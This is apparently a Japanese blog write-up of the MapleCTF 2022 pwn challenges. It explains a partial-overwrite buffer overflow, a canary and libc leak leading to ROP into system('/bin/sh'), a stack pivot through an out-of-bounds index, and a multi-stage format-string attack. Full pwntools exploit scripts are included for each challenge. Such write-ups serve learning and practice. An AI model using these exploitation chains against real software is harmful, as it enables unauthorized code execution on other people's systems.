MapleCTF 2022 Writeup
Maple CTF 2022に参加しました。pwn は6問あって、3問は開催中に、1問(printf)は開催後に解きました。
気のせいでしょうが、デザインが懐かしのメイプルストーリーっぽい感じがして嬉しかったです。
最近、簡単な問題ばかり解いているだけのような気がします。
簡単な問題だけ解いて、満足して終わり、これでは強くなりません。
スライム倒して300年、知らないうちにレベルMAXになってましたなんて言葉がありますが、CTFはそんなに甘くないですね。
雑魚を狩る速度が上がるだけなので、ちゃんと復習しましょう。
warmup1 (190 solve)
ただのBoF。win関数もある。
ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/warmup1$ ./chal AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
けどPIE有効。
pwndbg> checksec RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 72) Symbols No 0 1 /home/ubuntu/ctf/maplectf/warmup1/chal
PIE有効な時は、proc baseをleakするか、partial overwriteが定石。
これはpartial overwirte。でwinに飛ばすだけ。
from pwn import * elf=ELF("/home/ubuntu/ctf/maplectf/warmup1/chal") p=remote("warmup1.ctf.maplebacon.org",1337) #gdb.attach(p) p.send(cyclic(24)+b"\x19") p.interactive()
warmup2 (190 solve)
ただのBoF。win関数もある。
ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/warmup2$ ./chal What's your name? AAAAAAAAAAAA Hello AAAAAAAAAAAA ! How old are you? BBBBBBBBBBBBBBBBBBBBBBB Wow, I'm BBBBBBBBBBBBBBBBBBBBBBB too!
けどやっぱりPIE有効。やめてくれ。
pwndbg> checksec RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 73) Symbols No 0 2 /home/ubuntu/ctf/maplectf/warmup2/chal
ところで、gdbでASLR切ってdebugしてたら変な値になってたんですけど、私だけですかね?
2回書き込めるのがポイント。一回目でcanaryのleakができる。
おまけにスタックもリークできる。
libcのleakもしないといけない。
しかも、libcは配布されてない。こういう場合はlibcのバージョンを特定する必要がある。
libcのバージョンを特定するには、下記のサイトが定石だけど
https://libc.blukat.me/
出てこなかった。古いのかな?
https://libc.rip/
こっちだと出てきた。
Results
libc6-amd64_2.28-0ubuntu1_i386
libc6_2.31-0ubuntu9.8_amd64
libc6_2.31-0ubuntu9.9_amd64
まあ、多分 libc6_2.31-0ubuntu9.9_amd64 だろう。
from pwn import * elf=ELF("/home/ubuntu/ctf/maplectf/warmup2/chal") p=remote("warmup2.ctf.maplebacon.org",1337) #gdb.attach(p) p.sendafter("What's your name?",cyclic(0x108)+b"\x41") print(hexdump(p.recvline())) p.recv(0x10f) canary=u64(b"\x00"+p.recv(7)) log.info("canary is " + hex(canary)) stack_leak=u64(p.recv(6)+b"\x00\x00") log.info("stack is " + hex(stack_leak)) p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead)+b"\xd8") # leak proc base p.sendafter("What's your name?",cyclic(0x118)) print(hexdump(p.recvline())) p.recv(0x11e) proc_base=u64(p.recv(6)+b"\x00\x00")-0x12e2 log.info("proc_base is " + hex(proc_base)) # leak libc pop_rdi=proc_base+0x00001353 got_puts=proc_base+elf.got["__stack_chk_fail"] # 0x7f497c08da70 plt_puts=proc_base+elf.plt["puts"] ret=proc_base+0x0000101a p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead) +p64(pop_rdi)+p64(got_puts)+p64(plt_puts)+p64(ret)+p64(proc_base+0x12d8)) p.recvline() p.recvline() libc_base=u64(p.recv(6)+b"\x00\x00") - 0x12fa70 log.info("libc_base is " + hex(libc_base)) # go to libc one_gadget system=0x52290 binsh=stack_leak+0x38 p.sendafter("What's your name?",cyclic(0x10)) p.sendafter("How old are you?",cyclic(0x108)+p64(canary)+p64(0xdead)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(libc_base+system)+"/bin/sh".encode()+b"\x00") p.interactive()
no flag 4 u (38 solve)
個人的には、warmup2のほうがこれより難しかった。
ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/noflag4u$ ./chal 1 : Create page 2 : Edit page 3 : Print page 4 : Delete page 5 : Exit
PIE無効。やったね。
pwndbg> checksec [*] '/home/ubuntu/ctf/maplectf/noflag4u/chal' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
よくわからないが、libcみたいのが一緒に配布されていて、一部の関数が上書きされているようだ。
1 : Create page 2 : Edit page 3 : Print page 4 : Delete page 5 : Exit 1 index: 0 size: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA thread '<unnamed>' panicked at 'buffer overflow', src/preload_hooks/gets.rs:35:9 note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
メモの管理ツールだが、メモが珍しくスタックの中でポインタがあって管理されている。
メモのindexは領域外読み込みがある。
ということで、stack pivotで終わり。
create_page内でrbpを書き換え、mainから出るときに
rbpがrspに渡されてstack pivotできる。
おまけにwin関数もある
from pwn import * import math elf=ELF("/home/ubuntu/ctf/maplectf/noflag4u/chal") libc=ELF("/home/ubuntu/ctf/maplectf/noflag4u/libno_flag_4_u.so") p=remote("no-flag-4-u.ctf.maplebacon.org",1337) #gdb.attach(p) def create(index, size, content): p.sendlineafter("5 : Exit","1") p.sendlineafter("index:",str(index)) p.sendlineafter("size:",str(size)) p.sendlineafter("content:",content) return def edit(index, content): p.sendlineafter("5 : Exit","2") p.sendlineafter("index:",str(index)) p.sendlineafter("content:",content) return def print(index): p.sendlineafter("5 : Exit","3") p.sendlineafter("index:",str(index)) return p.recvline() def delete(index): p.sendlineafter("5 : Exit","4") p.sendlineafter("index:",str(index)) return create(-2, 0x108, p64(0)+p64(elf.symbols["win"])) p.sendlineafter("5 : Exit","5") p.interactive()
printf (25 solve)
解けなかった。libc使って解くと楽なのだがlibcが配られていなかった。で、
どうやらwarmup2と同じlibcだった?ようだが、そこまでのメタ読みをしたら負けだよ…
終了後にすぐ環境が使えなくなってしまったので、私の手元の環境、libc2.35で解いている。
頑張ってスタックピボットしようと思っていたが、面倒でやめてしまった。
ubuntu@ubuntu-virtual-machine:~/ctf/maplectf/printf$ ./chal %p %p %p 0x7fd2d1e7eb23 0xfbad208b 0x7fd2d1d79992
実行すると一回だけ読み込めて、FSBがある。
pwndbg> checksec [*] '/home/ubuntu/ctf/maplectf/printf/chal' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
またPIE有効かよ。勘弁してくれ。
pwndbg> tel 0x7fffffffdf68 30 00:0000│ 0x7fffffffdf68 —▸ 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— ... 01:0008│ 0x7fffffffdf70 —▸ 0x7fffffffe0d8 —▸ 0x7fffffffe3ee ◂— '/home/ubuntu/ctf/maplectf/printf/chal' 02:0010│ 0x7fffffffdf78 —▸ 0x55555555520a (main) ◂— endbr64 03:0018│ 0x7fffffffdf80 ◂— 0x0 04:0020│ rsp 0x7fffffffdf88 —▸ 0x5555555551dd (go+52) ◂— nop 05:0028│ rbp 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1 06:0030│ 0x7fffffffdf98 —▸ 0x5555555551f2 (set+18) ◂— nop 07:0038│ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1 08:0040│ 0x7fffffffdfa8 —▸ 0x555555555207 (ready+18) ◂— nop 09:0048│ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1 0a:0050│ 0x7fffffffdfb8 —▸ 0x55555555524e (main+68) ◂— mov eax, 0 0b:0058│ 0x7fffffffdfc0 ◂— 0x1 0c:0060│ 0x7fffffffdfc8 —▸ 0x7ffff7dabd90 (__libc_start_call_main+128) ◂— mov edi, eax
スタックはここら辺を操作できる。
ちなみに、
6番目 05:0028│ rbp 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1
8番目 07:0038│ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1
である。
なお、書き込まれるバッファは、スタック内に無い。
こういう時、どうすれば、リターンアドレスを書き換えることができるか…
イメージ的は、
・6番目の値に対して%nをして8のポインタを書き換えて、0x7fffffffdf88に向ける。
・8番目の値に対して%nをして、リターンアドレスを書き換える
これをやれば、リターンアドレスが書き換えらえると思うだろうけど、この多段FSBにはちょっとやり方に工夫が必要。
これをやる方法が下記の書籍に紹介されてるので、今すぐ10冊買い、5等身以内の親族に教えてあげよう。
さて、多段fsbを行えば、無限ループさせることができる。
あとは自分のペースでone_gadgetを書けばいいだけ。
私は17番目の値と47番目の値を使って、リターンアドレスをone_gadgetに書き換えた。
0xebcf5 execve("/bin/sh", r10, rdx) constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL
このone_gadgetを使った。条件を満たすために、最後にnullを書き込んでいる。
ブルートフォース要素があるので、何発も繰り返すといつかshellが取れる。
from pwn import * import math import warnings warnings.simplefilter('ignore') elf=ELF("/home/ubuntu/ctf/maplectf/printf/chal") p=process("/home/ubuntu/ctf/maplectf/printf/chal" , aslr=True) #gdb.attach(p) p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p") tmp=p.recvline().split() print(tmp) stack_leak=int(tmp[3], 16) proc_base=int(tmp[4], 16)-0x1207 libc_base=int(tmp[8], 16)-0x29D90 log.info("stack_leak:"+hex(stack_leak)) log.info("proc_base:"+hex(proc_base)) log.info("libc_base:"+hex(libc_base)) # lower log.info("write lower bit of one_gadget start") stack=((stack_leak+0x10)%0x10000) -0xe5 p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack)) # overwrite 0x7fffffffde58 p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%47$p") # kore ga naito nazeka ugokanai one_gadget=libc_base+0xebcf5 lower=(one_gadget % 0x10000) - 0xe5 print(lower) log.info(hex(one_gadget)) p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$hn".format(lower)) # middle p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack+2)) middle=((one_gadget % 0x100000000)//0x10000) - 0xe5 p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$hn".format(middle)) log.info("write middlebit of one_gadget end") # higher p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack+4)) higher=(one_gadget // 0x100000000) - 0xe5 p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$n".format(higher)) log.info("write higherbit of one_gadget end") p.sendline(b"\x00"*0x100) p.sendline("ls") p.interactive()
FSBは嫌い。まじで。
問題の難易度はほど良くてよかった。
EBCSICは時間があるときに復習しよう。